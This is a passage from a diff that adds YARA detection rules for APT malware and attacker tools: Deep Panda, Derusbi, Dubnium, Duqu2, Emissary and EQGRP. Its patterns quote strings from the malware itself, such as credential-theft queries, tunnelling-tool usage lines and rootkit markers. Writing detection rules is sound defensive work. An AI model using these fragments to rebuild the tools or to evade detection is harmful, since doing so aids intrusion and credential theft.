+		description = "Detects trojan from APT report named http.exe"
+		author = "Florian Roth"
+		reference = "https://goo.gl/13Wgy1"
+		date = "2016-05-25"
+		score = 80
+		hash1 = "ad191d1d18841f0c5e48a5a1c9072709e2dd6359a6f6d427e0de59cfcd1d9666"
+	strings:
+		$x1 = "Content-Disposition: form-data; name=\"file1\"; filename=\"%s\"" fullword ascii
+		$x2 = "%ALLUSERSPROFILE%\\Accessories\\wordpade.exe" fullword ascii
+		$x3 = "\\dumps.dat" fullword ascii
+		$x4 = "\\wordpade.exe" fullword ascii
+		$x5 = "\\%s|%s|4|%d|%4d-%02d-%02d %02d:%02d:%02d|" fullword ascii
+		$x6 = "\\%s|%s|5|%d|%4d-%02d-%02d %02d:%02d:%02d|" fullword ascii
+		$x7 = "cKaNBh9fnmXgJcSBxx5nFS+8s7abcQ==" fullword ascii
+		$x8 = "cKaNBhFLn1nXMcCR0RlbMQ==" fullword ascii /* base64: pKY1[1 */
+
+		$s1 = "SELECT * FROM moz_logins;" fullword ascii
+		$s2 = "makescr.dat" fullword ascii
+		$s3 = "%s\\Mozilla\\Firefox\\profiles.ini" fullword ascii
+		$s4 = "?moz-proxy://" fullword ascii
+		$s5 = "[%s-%s] Title: %s" fullword ascii
+		$s6 = "Cforeign key mismatch - \"%w\" referencing \"%w\"" fullword ascii
+		$s7 = "Windows 95 SR2" fullword ascii
+		$s8 = "\\|%s|0|0|" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and ( 1 of ($x*) and 2 of ($s*) ) ) or ( 3 of ($x*) )
+}
+
+rule Mal_PotPlayer_DLL {
+	meta:
+		description = "Detects a malicious PotPlayer.dll"
+		author = "Florian Roth"
+		reference = "https://goo.gl/13Wgy1"
+		date = "2016-05-25"
+		score = 70
+		hash1 = "705409bc11fb45fa3c4e2fa9dd35af7d4613e52a713d9c6ea6bc4baff49aa74a"
+	strings:
+		$x1 = "C:\\Users\\john\\Desktop\\PotPlayer\\Release\\PotPlayer.pdb" fullword ascii
+
+		$s3 = "PotPlayer.dll" fullword ascii
+		$s4 = "\\update.dat" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and $x1 or all of ($s*)
+}
+/* Deep Panda APT */
+
+rule DeepPanda_sl_txt_packed {
+	meta:
+		description = "Hack Deep Panda - ScanLine sl-txt-packed"
+		author = "Florian Roth"
+		date = "2015/02/08"
+		hash = "ffb1d8ea3039d3d5eb7196d27f5450cac0ea4f34"
+	strings:
+		$s0 = "Command line port scanner" fullword wide
+		$s1 = "sl.exe" fullword wide
+		$s2 = "CPports.txt" fullword ascii
+		$s3 = ",GET / HTTP/.}" fullword ascii
+		$s4 = "Foundstone Inc." fullword wide
+		$s9 = " 2002 Foundstone Inc." fullword wide
+		$s15 = ", Inc. 2002" fullword ascii
+		$s20 = "ICMP Time" fullword ascii
+	condition:
+		all of them
+}
+
+rule DeepPanda_lot1 {
+	meta:
+		description = "Hack Deep Panda - lot1.tmp-pwdump"
+		author = "Florian Roth"
+		date = "2015/02/08"
+		hash = "5d201a0fb0f4a96cefc5f73effb61acff9c818e1"
+	strings:
+		$s0 = "Unable to open target process: %d, pid %d" fullword ascii
+		$s1 = "Couldn't delete target executable from remote machine: %d" fullword ascii
+		$s2 = "Target: Failed to load SAM functions." fullword ascii
+		$s5 = "Error writing the test file %s, skipping this share" fullword ascii
+		$s6 = "Failed to create service (%s/%s), error %d" fullword ascii
+		$s8 = "Service start failed: %d (%s/%s)" fullword ascii
+		$s12 = "PwDump.exe" fullword ascii
+		$s13 = "GetAvailableWriteableShare returned an error of %ld" fullword ascii
+		$s14 = ":\\\\.\\pipe\\%s" fullword ascii
+		$s15 = "Couldn't copy %s to destination %s. (Error %d)" fullword ascii
+		$s16 = "dump logon session" fullword ascii
+		$s17 = "Timed out waiting to get our pipe back" fullword ascii
+		$s19 = "SetNamedPipeHandleState failed, error %d" fullword ascii
+		$s20 = "%s\\%s.exe" fullword ascii
+	condition:
+		10 of them
+}
+
+rule DeepPanda_htran_exe {
+	meta:
+		description = "Hack Deep Panda - htran-exe"
+		author = "Florian Roth"
+		date = "2015/02/08"
+		hash = "38e21f0b87b3052b536408fdf59185f8b3d210b9"
+	strings:
+		$s0 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
+		$s1 = "[-] Gethostbyname(%s) error:%s" fullword ascii
+		$s2 = "e:\\VS 2008 Project\\htran\\Release\\htran.pdb" fullword ascii
+		$s3 = "[SERVER]connection to %s:%d error" fullword ascii
+		$s4 = "-tran  <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s5 = "[-] ERROR: Must supply logfile name." fullword ascii
+		$s6 = "[-] There is a error...Create a new connection." fullword ascii
+		$s7 = "[+] Accept a Client on port %d from %s" fullword ascii
+		$s8 = "======================== htran V%s =======================" fullword ascii
+		$s9 = "[-] Socket Listen error." fullword ascii
+		$s10 = "[-] ERROR: open logfile" fullword ascii
+		$s11 = "-slave  <ConnectHost> <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s12 = "[+] Make a Connection to %s:%d ......" fullword ascii
+		$s14 = "Recv %5d bytes from %s:%d" fullword ascii
+		$s15 = "[+] OK! I Closed The Two Socket." fullword ascii
+		$s16 = "[+] Waiting another Client on port:%d...." fullword ascii
+		$s17 = "[+] Accept a Client on port %d from %s ......" fullword ascii
+		$s20 = "-listen <ConnectPort> <TransmitPort>" fullword ascii
+	condition:
+		10 of them
+}
+
+rule DeepPanda_Trojan_Kakfum {
+	meta:
+		description = "Hack Deep Panda - Trojan.Kakfum sqlsrv32.dll"
+		author = "Florian Roth"
+		date = "2015/02/08"
+		hash1 = "ab58b6aa7dcc25d8f6e4b70a24e0ccede0d5f6129df02a9e61293c1d7d7640a2"
+		hash2 = "c6c3bb72896f8f0b9a5351614fd94e889864cf924b40a318c79560bbbcfa372f"
+	strings:
+		$s0 = "%SystemRoot%\\System32\\svchost.exe -k sqlserver" fullword ascii
+		$s1 = "%s\\sqlsrv32.dll" fullword ascii
+		$s2 = "%s\\sqlsrv64.dll" fullword ascii
+		$s3 = "%s\\%d.tmp" fullword ascii
+		$s4 = "ServiceMaix" fullword ascii
+		$s15 = "sqlserver" fullword ascii
+	condition:
+		all of them
+}
+/*
+	Yara Rule Set
+	Author: Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud
+	Date: 2015-12-09
+   Reference = http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family
+	Identifier: Derusbi Dez 2015
+*/
+
+rule derusbi_kernel
+{
+    meta:
+        description = "Derusbi Driver version"
+        date = "2015-12-09"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
+    strings:
+        $token1 = "$$$--Hello"
+        $token2 = "Wrod--$$$"
+        $cfg = "XXXXXXXXXXXXXXX"
+        $class = ".?AVPCC_BASEMOD@@"
+        $MZ = "MZ"
+    condition:
+        $MZ at 0 and $token1 and $token2 and $cfg and $class
+}
+
+rule derusbi_linux
+{
+    meta:
+        description = "Derusbi Server Linux version"
+        date = "2015-12-09"
+        author = "Airbus Defence and Space Cybersecurity CSIRT - Fabien Perigaud"
+    strings:
+        $PS1 = "PS1=RK# \\u@\\h:\\w \\$"
+        $cmd = "unset LS_OPTIONS;uname -a"
+        $pname = "[diskio]"
+        $rkfile = "/tmp/.secure"
+        $ELF = "\x7fELF"
+    condition:
+        $ELF at 0 and $PS1 and $cmd and $pname and $rkfile
+}
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-12-15
+	Identifier: Derusbi Dez 2015
+*/
+
+rule Derusbi_Kernel_Driver_WD_UDFS {
+	meta:
+		description = "Detects Derusbi Kernel Driver"
+		author = "Florian Roth"
+		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+		date = "2015-12-15"
+		score = 80
+		hash1 = "1b449121300b0188ff9f6a8c399fb818d0cf53fd36cf012e6908a2665a27f016"
+		hash2 = "50174311e524b97ea5cb4f3ea571dd477d1f0eee06cd3ed73af39a15f3e6484a"
+		hash3 = "6cdb65dbfb2c236b6d149fd9836cb484d0608ea082cf5bd88edde31ad11a0d58"
+		hash4 = "e27fb16dce7fff714f4b05f2cef53e1919a34d7ec0e595f2eaa155861a213e59"
+	strings:
+      $x1 = "\\\\.\\pipe\\usbpcex%d" fullword wide
+      $x2 = "\\\\.\\pipe\\usbpcg%d" fullword wide
+      $x3 = "\\??\\pipe\\usbpcex%d" fullword wide
+		$x4 = "\\??\\pipe\\usbpcg%d" fullword wide
+      $x5 = "$$$--Hello" fullword ascii
+      $x6 = "Wrod--$$$" fullword ascii
+
+		$s1 = "\\Registry\\User\\%s\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword wide
+		$s2 = "Update.dll" fullword ascii
+		$s3 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Control\\WMI" fullword wide
+		$s4 = "\\Driver\\nsiproxy" fullword wide
+		$s5 = "HOST: %s" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and
+      (
+         2 of ($x*) or all of ($s*)
+      )
+}
+
+rule Derusbi_Code_Signing_Cert {
+	meta:
+		description = "Detects an executable signed with a certificate also used for Derusbi Trojan - suspicious"
+		author = "Florian Roth"
+		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+		date = "2015-12-15"
+		score = 40
+   strings:
+      $s1 = "Fuqing Dawu Technology Co.,Ltd.0" fullword ascii
+      $s2 = "XL Games Co.,Ltd.0" fullword ascii
+      $s3 = "Wemade Entertainment co.,Ltd0" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 800KB and 1 of them
+}
+
+rule XOR_4byte_Key {
+	meta:
+		description = "Detects an executable encrypted with a 4 byte XOR (also used for Derusbi Trojan)"
+		author = "Florian Roth"
+		reference = "http://blog.airbuscybersecurity.com/post/2015/11/Newcomers-in-the-Derusbi-family"
+		date = "2015-12-15"
+		score = 60
+   strings:
+      /* Op Code */
+      $s1 = { 85 C9 74 0A 31 06 01 1E 83 C6 04 49 EB F2 }
+      /*
+      test    ecx, ecx
+      jz      short loc_590170
+      xor     [esi], eax
+      add     [esi], ebx
+      add     esi, 4
+      dec     ecx
+      jmp     short loc_590162
+      */
+   condition:
+      uint16(0) == 0x5a4d and filesize < 900KB and all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-10
+	Identifier: Dubnium
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Dubnium_Sample_1 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		hash1 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
+	strings:
+		$key1 = "3b840e20e9555e9fb031c4ba1f1747ce25cc1d0ff664be676b9b4a90641ff194" fullword ascii
+		$key2 = "90631f686a8c3dbc0703ffa353bc1fdf35774568ac62406f98a13ed8f47595fd" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule Dubnium_Sample_2 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+	strings:
+		$x1 = ":*:::D:\\:c:~:" fullword ascii
+		$s2 = "SPMUVR" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 2000KB and all of them )
+}
+
+rule Dubnium_Sample_3 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		hash1 = "caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8"
+		hash2 = "e0362d319a8d0e13eda782a0d8da960dd96043e6cc3500faeae521d1747576e5"
+		hash3 = "a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827"
+	strings:
+		$x1 = "copy /y \"%s\" \"%s\" " fullword ascii
+		$x2 = "del /f \"%s\" " fullword ascii
+		$s1 = "del /f /ah \"%s\" " fullword ascii
+		$s2 = "if exist \"%s\" goto Rept " fullword ascii
+		$s3 = "\\*.*.lnk" fullword ascii
+		$s4 = "Dropped" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and 5 of them
+}
+
+rule Dubnium_Sample_5 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		super_rule = 1
+		hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
+		hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
+		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
+		hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
+		hash6 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
+		hash7 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
+		hash8 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
+		hash9 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
+	strings:
+		$s1 = "$innn[i$[i$^i[e[mdi[m$jf1Wehn[^Whl[^iin_hf$11mahZijnjbi[^[W[f1n$dej$[hn]1[W1ni1l[ic1j[mZjchl$$^he[[j[a[1_iWc[e[" fullword ascii
+		$s2 = "h$YWdh[$ij7^e$n[[_[h[i[[[\\][1$1[[j1W1[1cjm1[$[k1ZW_$$ncn[[Inbnnc[I9enanid[fZCX" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 9000KB and all of them
+}
+
+rule Dubnium_Sample_6 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		super_rule = 1
+		hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		hash2 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
+		hash3 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
+	strings:
+		$s1 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&()`~-_=+[{]{;',." fullword ascii
+		$s2 = "e_$0[bW\\RZY\\jb\\ZY[nimiRc[jRZ]" fullword ascii
+		$s3 = "f_RIdJ0W9RFb[$Fbc9[k_?Wn" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 4000KB and all of them
+}
+
+rule Dubnium_Sample_7 {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		super_rule = 1
+		hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
+		hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
+		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
+		hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
+		hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
+		hash6 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
+		hash7 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
+		hash8 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
+	strings:
+		$s1 = "hWI[$lZ![nJ_[[lk[8Ihlo8ZiIl[[[$Ynk[f_8[88WWWJW[YWnl$$Z[ilf!$IZ$!W>Wl![W!k!$l!WoW8$nj8![8n_I^$[>_n[ZY[[Xhn_c!nnfK[!Z" fullword ascii
+		$s2 = "[i_^])[$n!]Wj^,h[,!WZmk^o$dZ[h[e!&W!l[$nd[d&)^Z\\^[[iWh][[[jPYO[g$$e&n\\,Wfg$[<g$[[ninn:j!!)Wk[nj[[o!!Y" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 9000KB and all of them
+}
+
+rule Dubnium_Sample_SSHOpenSSL {
+	meta:
+		description = "Detects sample mentioned in the Dubnium Report"
+		author = "Florian Roth"
+		reference = "https://goo.gl/AW9Cuu"
+		date = "2016-06-10"
+		hash1 = "6f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
+		hash2 = "feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
+		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
+		hash4 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
+		hash5 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
+		hash6 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
+	strings:
+		$s1 = "sshkeypairgen.exe" fullword wide
+		$s2 = "OpenSSL: FATAL" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 9000KB and all of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-07-02
+	Identifier: Duqu2
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Duqu2_Sample1 {
+	meta:
+		description = "Detects malware - Duqu2 (cross-matches with IronTiger malware and Derusbi)"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "6b146e3a59025d7085127b552494e8aaf76450a19c249bfed0b4c09f328e564f"
+		hash2 = "8e97c371633d285cd8fc842f4582705052a9409149ee67d97de545030787a192"
+		hash3 = "2796a119171328e91648a73d95eb297edc220e8768f4bbba5fb7237122a988fc"
+		hash4 = "5559fcc93eef38a1c22db66a3e0f9e9f026c99e741cc8b1a4980d166f2696188"
+	strings:
+		$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
+		$s2 = "MSI.dll" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 40KB and $x1 ) or ( all of them )
+}
+
+rule Duqu2_Sample2 {
+	meta:
+		description = "Detects Duqu2 Malware"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "d12cd9490fd75e192ea053a05e869ed2f3f9748bf1563e6e496e7153fb4e6c98"
+		hash2 = "5ba187106567e8d036edd5ddb6763f89774c158d2a571e15d76572d8604c22a0"
+		hash3 = "6e09e1a4f56ea736ff21ad5e188845615b57e1a5168f4bdaebe7ddc634912de9"
+		hash4 = "c16410c49dc40a371be22773f420b7dd3cfd4d8205cf39909ad9a6f26f55718e"
+		hash5 = "2ecb26021d21fcef3d8bba63de0c888499110a2b78e4caa6fa07a2b27d87f71b"
+		hash6 = "2c9c3ddd4d93e687eb095444cef7668b21636b364bff55de953bdd1df40071da"
+	strings:
+		$s1 = "=<=Q=W=a=g=p=v=|=" fullword ascii
+		$s2 = ">#>(>.>3>=>]>d>p>" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and all of ($s*)
+}
+
+rule Duqu2_Sample3 {
+	meta:
+		description = "Detects Duqu2 Malware"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "2a9a5afc342cde12c6eb9a91ad29f7afdfd8f0fb17b983dcfddceccfbc17af69"
+	strings:
+		$s1 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 50KB and $s1 )
+}
+
+rule Duqu2_Sample4 {
+	meta:
+		description = "Detects Duqu2 Malware"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "3536df7379660d931256b3cf49be810c0d931c3957c464d75e4cba78ba3b92e3"
+	strings:
+		$x1 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
+		$s2 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide
+		$s3 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide
+		$s4 = "ProcessUserAccounts" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 30KB and 1 of ($x*) ) or ( all of them )
+}
+rule Duqu2_UAs {
+	meta:
+		description = "Detects Duqu2 Executable based on the specific UAs in the file"
+		author = "Florian Roth"
+		reference = "https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/"
+		date = "2016-07-02"
+		score = 80
+		hash1 = "52fe506928b0262f10de31e783af8540b6a0b232b15749d647847488acd0e17a"
+		hash2 = "81cdbe905392155a1ba8b687a02e65d611b60aac938e470a76ef518e8cffd74d"
+	strings:
+		$x1 = "Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1" fullword wide
+		$x2 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.63 Safari/535.7xs5D9rRDFpg2g" fullword wide
+		$x3 = "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322)" fullword wide
+		$x4 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2" fullword wide
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 800KB and all of them )
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-02
+	Identifier: Emissary Malware
+*/
+
+rule Emissary_APT_Malware_1 {
+	meta:
+		description = "Detect Emissary Malware - from samples A08E81B411.DAT, ishelp.dll"
+		author = "Florian Roth"
+		reference = "http://goo.gl/V0epcf"
+		date = "2016-01-02"
+		score = 75
+		hash1 = "9420017390c598ee535c24f7bcbd39f40eca699d6c94dc35bcf59ddf918c59ab"
+		hash2 = "70561f58c9e5868f44169854bcc906001947d98d15e9b4d2fbabd1262d938629"
+		hash3 = "0e64e68f6f88b25530699a1cd12f6f2790ea98e6e8fa3b4bc279f8e5c09d7290"
+		hash4 = "69caa2a4070559d4cafdf79020c4356c721088eb22398a8740dea8d21ae6e664"
+		hash5 = "675869fac21a94c8f470765bc6dd15b17cc4492dd639b878f241a45b2c3890fc"
+		hash6 = "e817610b62ccd00bdfc9129f947ac7d078d97525e9628a3aa61027396dba419b"
+		hash7 = "a8b0d084949c4f289beb4950f801bf99588d1b05f68587b245a31e8e82f7a1b8"
+		hash8 = "acf7dc5a10b00f0aac102ecd9d87cd94f08a37b2726cb1e16948875751d04cc9"
+		hash9 = "e21b47dfa9e250f49a3ab327b7444902e545bed3c4dcfa5e2e990af20593af6d"
+		hash10 = "e369417a7623d73346f6dff729e68f7e057f7f6dae7bb03d56a7510cb3bfe538"
+		hash11 = "29d8dc863427c8e37b75eb738069c2172e79607acc7b65de6f8086ba36abf051"
+		hash12 = "98fb1d2975babc18624e3922406545458642e01360746870deee397df93f50e0"
+		hash13 = "fbcb401cf06326ab4bb53fb9f01f1ca647f16f926811ea66984f1a1b8cf2f7bb"
+	strings:
+		$s1 = "cmd.exe /c %s > %s" fullword ascii
+		$s2 = "execute cmd timeout." fullword ascii
+		$s3 = "rundll32.exe \"%s\",Setting" fullword ascii
+		$s4 = "DownloadFile - exception:%s." fullword ascii
+		$s5 = "CDllApp::InitInstance() - Evnet create successful." fullword ascii
+		$s6 = "UploadFile - EncryptBuffer Error" fullword ascii
+		$s7 = "WinDLL.dll" fullword wide
+		$s8 = "DownloadFile - exception:%s,code:0x%08x." fullword ascii
+		$s9 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" fullword ascii
+		$s10 = "CDllApp::InitInstance() - Evnet already exists." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 250KB and 3 of them
+}
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-08-15
+	Identifier: EQGRP
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule EQGRP_noclient_3_0_5 {
+	meta:
+		description = "Detects tool from EQGRP toolset - file noclient-3.0.5.3"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$x1 = "-C %s 127.0.0.1\" scripme -F -t JACKPOPIN4 '&" fullword ascii
+		$x2 = "Command too long!  What the HELL are you trying to do to me?!?!  Try one smaller than %d bozo." fullword ascii
+		$x3 = "sh -c \"ping -c 2 %s; grep %s /proc/net/arp >/tmp/gx \"" fullword ascii
+		$x4 = "Error from ourtn, did not find keys=target in tn.spayed" fullword ascii
+		$x5 = "ourtn -d -D %s -W 127.0.0.1:%d  -i %s -p %d %s %s" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 700KB and 1 of them ) or ( all of them )
+}
+
+rule EQGRP_installdate {
+	meta:
+		description = "Detects tool from EQGRP toolset - file installdate.pl"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$x1 = "#Provide hex or EP log as command-line argument or as input" fullword ascii
+		$x2 = "print \"Gimme hex: \";" fullword ascii
+		$x3 = "if ($line =~ /Reg_Dword:  (\\d\\d:\\d\\d:\\d\\d.\\d+ \\d+ - )?(\\S*)/) {" fullword ascii
+
+		$s1 = "if ($_ =~ /InstallDate/) {" fullword ascii
+		$s2 = "if (not($cmdInput)) {" fullword ascii
+		$s3 = "print \"$hex in decimal=$dec\\n\\n\";" fullword ascii
+	condition:
+		filesize < 2KB and ( 1 of ($x*) or 3 of them )
+}
+
+rule EQGRP_teflondoor {
+	meta:
+		description = "Detects tool from EQGRP toolset - file teflondoor.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$x1 = "%s: abort.  Code is %d.  Message is '%s'" fullword ascii
+		$x2 = "%s: %li b (%li%%)" fullword ascii
+
+		$s1 = "no winsock" fullword ascii
+		$s2 = "%s: %s file '%s'" fullword ascii
+		$s3 = "peer: connect" fullword ascii
+		$s4 = "read: write" fullword ascii
+		$s5 = "%s: done!" fullword ascii
+		$s6 = "%s: %li b" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 30KB and 1 of ($x*) and 3 of them
+}
+
+rule EQGRP_durablenapkin_solaris_2_0_1 {
+	meta:
+		description = "Detects tool from EQGRP toolset - file durablenapkin.solaris.2.0.1.1"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$s1 = "recv_ack: %s: Service not supplied by provider" fullword ascii
+		$s2 = "send_request: putmsg \"%s\": %s" fullword ascii
+		$s3 = "port undefined" fullword ascii
+		$s4 = "recv_ack: %s getmsg: %s" fullword ascii
+		$s5 = ">> %d -- %d" fullword ascii
+	condition:
+		( uint16(0) == 0x457f and filesize < 40KB and 2 of them )
+}
+
+rule EQGRP_teflonhandle {
+	meta:
+		description = "Detects tool from EQGRP toolset - file teflonhandle.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$s1 = "%s [infile] [outfile] /k 0x[%i character hex key] </g>" fullword ascii
+		$s2 = "File %s already exists.  Overwrite? (y/n) " fullword ascii
+		$s3 = "Random Key : 0x" fullword ascii
+		$s4 = "done (%i bytes written)." fullword ascii
+		$s5 = "%s --> %s..." fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and 2 of them
+}
+
+rule EQGRP_false {
+	meta:
+		description = "Detects tool from EQGRP toolset - file false.exe"
+		author = "Florian Roth"
+		reference = "Research"
+		date = "2016-08-15"
+		score = 75
+	strings:
+		$s1 = { 00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
+			00 25 6C 75 2E 25 6C 75 2E 25 6C 75 2E 25 6C 75
+			00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
+			00 25 64 2E 0A 00 00 00 00 25 64 2E 0A 00 00 00
+			00 25 32 2E 32 58 20 00 00 0A 00 00 00 25 64 20
+			2D 20 25 64 20 25 64 0A 00 25 64 0A 00 25 64 2E
+			0A 00 00 00 00 25 64 2E 0A 00 00 00 00 25 64 2E
+			0A 00 00 00 00 25 64 20 2D 20 25 64 0A 00 00 00
+			00 25 64 20 2D 20 25 64 }
+	condition:
+		uint16(0) == 0x5a4d and filesize < 50KB and $s1
+}
+
